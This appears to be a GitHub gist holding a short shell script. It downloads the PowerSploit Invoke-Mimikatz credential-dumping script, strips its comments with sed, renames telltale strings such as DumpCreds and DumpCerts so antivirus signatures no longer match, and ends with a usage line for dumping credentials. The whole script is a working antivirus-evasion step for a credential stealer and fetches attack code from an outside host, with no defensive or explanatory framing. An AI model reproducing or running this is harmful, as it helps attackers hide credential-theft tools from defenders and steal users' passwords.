Last active
April 26, 2021 15:48
-
-
Save curi0usJack/adbf34bd402f28138388bd6e266da961 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | |
# Uncomment below two lines to clean comments from all .ps1 files in ./ | |
#find ./ -name "*.ps1" -exec sed -i -e '/^<#/,/^#>/d' {} \; | |
#find ./ -name "*.ps1" -exec sed -i -e 's/#.*$//' {} \; | |
sed -i -e '/^<#/,/^#>/d' Invoke-Mimikatz.ps1 | |
sed -i -e 's/#.*$//' Invoke-Mimikatz.ps1 | |
sed -i -e's/DumpCerts/GimmeCerts/g' Invoke-Mimikatz.ps1 | |
sed -i -e 's/DumpCreds/GimmeCreds/g' Invoke-Mimikatz.ps1 | |
sed -i -e 's/mikatz/nicars/g' Invoke-Mimikatz.ps1 | |
mv Invoke-Mimikatz.ps1 Invoke-Minicars.ps1 | |
# Call like so: . ./Invoke-Minicars.ps1; Invoke-Minicars -GimmeCreds; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
nani